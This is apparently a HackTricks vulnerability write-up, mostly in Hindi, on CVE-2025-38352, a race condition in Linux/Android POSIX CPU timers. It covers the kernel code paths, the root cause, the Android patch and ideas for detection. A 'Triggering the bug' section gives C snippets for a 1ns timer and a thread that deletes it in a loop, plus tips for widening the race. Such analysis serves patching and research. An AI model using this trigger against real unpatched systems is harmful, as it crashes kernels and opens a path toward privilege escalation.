POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पृष्ठ Linux/Android POSIX CPU timers में मौजूद एक TOCTOU रेस कंडीशन का दस्तावेज़ीकरण करता है जो timer स्थिति को भ्रष्ट कर सकता है और kernel क्रैश करवा सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
- प्रभावित घटक: kernel/time/posix-cpu-timers.c
- Primitive: task exit के दौरान expiry और deletion के बीच रेस
- कॉन्फ़िग-संवेदी: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
त्वरित आंतरिक सारांश (शोषण के लिए प्रासंगिक)
- टाइमर्स की अकाउंटिंग के लिए तीन CPU क्लॉक्स cpu_clock_sample() के माध्यम से काम करते हैं:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- टाइमर बनाते समय टाइमर को एक task/pid के साथ जोड़ा जाता है और timerqueue nodes इनिशियलाइज़ किए जाते हैं:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming per-base timerqueue में inserts करता है और संभवतः next-expiry cache को अपडेट कर सकता है:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Fast path महंगी प्रोसेसिंग से बचता है जब तक cached expiries संभावित ट्रिगरिंग का संकेत न दें:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- समाप्ति समाप्त हो चुके टाइमरों को एकत्र करती है, उन्हें firing के रूप में चिह्नित करती है, उन्हें queue से हटा देती है; वास्तविक डिलीवरी स्थगित कर दी जाती है:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
दो समाप्ति-प्रोसेसिंग मोड
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित task पर task_work के माध्यम से स्थगित की जाती है
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: समाप्ति सीधे IRQ context में संभाली जाती है
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
IRQ-context path में, firing list को sighand के बाहर प्रोसेस किया जाता है।
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
मूल कारण: IRQ-time expiry और task exit के दौरान समवर्ती deletion के बीच TOCTOU
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- लक्ष्य task exiting हो रहा है पर पूरी तरह reaped नहीं हुआ है
- एक अन्य थ्रेड समान timer के लिए posix_cpu_timer_del() को समवर्ती रूप से कॉल करता है
Sequence
- update_process_times() exiting task के लिए IRQ context में run_posix_cpu_timers() को trigger करता है।
- collect_timerqueue() ctmr->firing = 1 सेट करता है और timer को temporary firing list में स्थानांतरित करता है।
- handle_posix_cpu_timers() lock के बाहर timers deliver करने के लिए unlock_task_sighand() के माध्यम से sighand छोड़ देता है।
- unlock के तुरंत बाद, exiting task reaped हो सकता है; एक sibling थ्रेड posix_cpu_timer_del() execute करता है।
- इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state हासिल करने में असफल हो सकता है और इसलिए सामान्य in-flight guard जिसे timer->it.cpu.firing जांचता है, उसे स्किप कर देता है। Deletion ऐसे आगे बढ़ता है जैसे यह firing नहीं है, expiry को हैंडल करते समय state भ्रष्ट हो जाता है, जिससे crashes/UB होते हैं।
Why TASK_WORK mode is safe by design
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y होने पर, expiry task_work में deferred होता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-time और reaping का overlap नहीं होता।
- फिर भी, यदि task पहले से ही exiting है, तो task_work_add() असफल होता है; exit_state पर gating दोनों मोड्स को संगत बनाता है।
Fix (Android common kernel) and rationale
- यदि current task exiting है तो early return जोड़ें, जिससे सभी प्रोसेसिंग gated हो:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- यह निकास हो रही टास्क के लिए handle_posix_cpu_timers() में प्रवेश को रोकता है, जिससे वह विंडो समाप्त हो जाती है जहाँ posix_cpu_timer_del() इसे मिस कर सकता है.cpu.firing और expiry processing के साथ race कर सकता है।
Impact
- समवर्ती expiry/deletion के दौरान timer संरचनाओं में Kernel मेमोरी करप्शन तुरंत क्रैश (DoS) दे सकता है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation की ओर एक मजबूत primitive है।
Triggering the bug (safe, reproducible conditions) Build/config
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और exit_state gating fix वाला kernel उपयोग न करें।
Runtime strategy
- उस थ्रेड को टार्गेट करें जो exit होने वाली है और उस पर एक CPU timer संलग्न करें (per-thread या process-wide clock):
- Per-thread के लिए: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Process-wide के लिए: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- अधिकतम IRQ-path entries के लिए बहुत ही कम initial expiration और छोटा interval सेट करें:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- एक सह-थ्रेड से, लक्षित थ्रेड के exit होते समय उसी टाइमर को समानांतर रूप से हटाएँ:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. क्रैश आमतौर पर तब होता है जब posix_cpu_timer_del() firing को नोटिस करना छोड़ देता है क्योंकि unlock_task_sighand() के ठीक बाद task lookup/locking विफल हो जाता है।
डिटेक्शन और हार्डनिंग
- Mitigation: exit_state guard लागू करें; जब संभव हो तो CONFIG_POSIX_CPU_TIMERS_TASK_WORK सक्षम करने को प्राथमिकता दें।
- Observability: unlock_task_sighand()/posix_cpu_timer_del() के आसपास tracepoints/WARN_ONCE जोड़ें; तब अलर्ट करें जब it.cpu.firing==1 को failed cpu_timer_task_rcu()/lock_task_sighand() के साथ देखा जाए; task exit के आसपास timerqueue असंगतियों पर नज़र रखें।
ऑडिट हॉटस्पॉट्स (समीक्षकों के लिए)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; यह जांच exit/reap के दौरान task lookup/lock विफल होने पर छोड़ दी जाती है
शोषण अनुसंधान के लिए नोट्स
- प्रकटीकृत व्यवहार एक विश्वसनीय kernel crash primitive है; इसे privilege escalation में बदलने के लिए आम तौर पर एक अतिरिक्त नियंत्रित overlap (object lifetime या write-what-where प्रभाव) की आवश्यकता होती है जो इस सारांश के दायरे से बाहर है। किसी भी PoC को संभावित रूप से अस्थिर करने वाला मानें और केवल emulators/VMs में ही चलाएँ।
References
- Race Against Time in the Kernel’s Clockwork (StreyPaws)
- Android security bulletin – September 2025
- Android common kernel patch commit 157f357d50b5…
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks